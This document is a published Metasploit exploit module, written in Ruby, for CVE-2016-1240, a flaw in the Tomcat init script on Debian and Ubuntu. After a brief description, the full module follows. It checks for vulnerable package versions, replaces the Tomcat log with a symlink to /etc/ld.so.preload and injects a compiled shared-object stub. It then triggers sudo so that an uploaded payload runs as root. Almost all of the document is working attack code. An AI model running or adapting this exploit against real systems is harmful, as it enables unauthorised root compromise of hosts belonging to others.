Headline
Apache Tomcat On Ubuntu Log Init Privilege Escalation
This Metasploit module targets a vulnerability in Tomcat versions 6, 7, and 8 on Debian-based distributions where these older versions provide a vulnerable tomcat init script that allows local attackers who have already gained access to the tomcat account to escalate their privileges from the tomcat user to root and fully compromise the target system.
##### This exploit sample shows how an exploit module could be written to exploit# a bug in a command on a linux computer for priv esc.####class MetasploitModule < Msf::Exploit::Local Rank = ManualRanking include Msf::Exploit::Retry include Msf::Post::Linux::Priv include Msf::Post::Linux::System include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper include Msf::Post::Linux::Compile prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Apache Tomcat on Ubuntu Log Init Privilege Escalation', 'Description' => %q{ Tomcat (6, 7, 8) packages provided by default repositories on Debian-based distributions (including Debian, Ubuntu etc.) provide a vulnerable tomcat init script that allows local attackers who have already gained access to the tomcat account (for example, by exploiting an RCE vulnerability in a java web application hosted on Tomcat, uploading a webshell etc.) to escalate their privileges from tomcat user to root and fully compromise the target system. Tested against Tomcat 8.0.32-1ubuntu1.1 on Ubuntu 16.04 }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'Dawid Golunski <[email protected]>' # original PoC, analysis, discovery ], 'Platform' => [ 'linux' ], 'Arch' => [ ARCH_X86, ARCH_X64, ARCH_PYTHON ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [[ 'Auto', {} ]], 'Privileged' => true, 'DefaultOptions' => { 'PrependFork' => true, 'WfsDelay' => 1800 # 30min }, 'References' => [ [ 'EDB', '40450' ], [ 'URL', 'https://ubuntu.com/security/notices/USN-3081-1'], [ 'URL', 'http://legalhackers.com/advisories/Tomcat-DebPkgs-Root-Privilege-Escalation-Exploit-CVE-2016-1240.html'], [ 'CVE', '2016-1240'] ], 'DisclosureDate' => '2016-09-30', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS] } ) ) register_options [ OptString.new('CATALINA', [ true, 'Location of catalina.out file', '/var/log/tomcat8/catalina.out' ]) ] register_advanced_options [ OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]), ] end def base_dir datastore['WritableDir'].to_s end def preload '/etc/ld.so.preload' end def catalina datastore['CATALINA'] end def check package = cmd_exec('dpkg -l tomcat[6-8] | grep \'^i\'') if package.nil? || package.empty? return CheckCode::Safe('Unable to execute command to determine installed pacakges') end package = package.gsub('\s+', ' ') # replace whitespace with space so we can split easy package = package.split(' ') # 0 is ii for installed # 1 is tomcat# for package name # 2 is version number package = Rex::Version.new(package[2]) if (package.to_s.start_with?('8') && package < Rex::Version.new('8.0.32-1ubuntu1.2')) || (package.to_s.start_with?('7') && package < Rex::Version.new('7.0.52-1ubuntu0.7')) || (package.to_s.start_with?('6') && package < Rex::Version.new('6.0.35-1ubuntu3.8')) return CheckCode::Appears("Vulnerable app version detected: #{package}") end CheckCode::Safe("Unexploitable tomcat packages found: #{package}") end def exploit # Check if we're already root if is_root? && !datastore['ForceExploit'] fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override' end unless writable? base_dir fail_with Failure::BadConfig, "#{base_dir} is not writable" end unless file? catalina fail_with Failure::BadConfig, "#{catalina} not found or still symlinked" end if file? preload fail_with Failure::BadConfig, "#{preload} found, check file as it needs to be removed for exploitation" end vprint_status("Creating backup of #{catalina}") @catalina_content = read_file(catalina) path = store_loot( catalina, 'text/plain', rhost, @catalina_content, 'catalina.out' ) print_good("Original #{catalina} backed up to #{path}") if live_compile? # upload our privesc stub so_stub = ".#{rand_text_alphanumeric(5..10)}.so" so_stub_path = "#{base_dir}/#{so_stub}" payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}" # Upload exploit stub vprint_status "Compiling exploit stub: #{so_stub_path}" upload_and_compile so_stub_path, strip_comments(exploit_data('CVE-2016-1240', 'privesc_preload.c').gsub('$BACKDOORPATH', payload_path)), '-Wall -fPIC -shared -ldl' else payload_path = '/tmp/.jMeY5vToQl' so_stub = '.ny9NyKEPJ.so' so_stub_path = "/tmp/#{so_stub}" write_file(so_stub_path, exploit_data('CVE-2016-1240', 'stub.so')) end register_file_for_cleanup(so_stub_path) # Upload payload executable vprint_status("Uploading Payload to #{payload_path}") upload_and_chmodx payload_path, generate_payload_exe register_file_for_cleanup(payload_path) # delete the log and symlink ld.so.preload vprint_status("Deleting #{catalina}") rm_f(catalina) vprint_status("Creating symlink from #{preload} to #{catalina}") cmd_exec("ln -s #{preload} #{catalina}") register_file_for_cleanup(catalina) # we now need tomcat to restart print_good("Waiting #{datastore['WfsDelay']} seconds on tomcat to re-open the logs aka a Tomcat service restart") succeeded = retry_until_truthy(timeout: datastore['WfsDelay']) do file? preload end unless succeeded print_error("#{preload} not found, exploit aborted") return end register_file_for_cleanup(preload) # now that we can write to ld.so.preload, use a SUID binary to execute our stub print_status("injecting #{so_stub_path} into #{preload}") cmd_exec "echo #{so_stub_path} > #{preload}" print_status('Escalating payload privileges via SUID binary (sudo)') cmd_exec 'sudo --help 2>/dev/null >/dev/null' print_status('Executing payload') cmd_exec payload_path end def cleanup if @catalina_content.nil? cmd_exec("touch #{catalina}") else write_file(catalina, @catalina_content) end super endend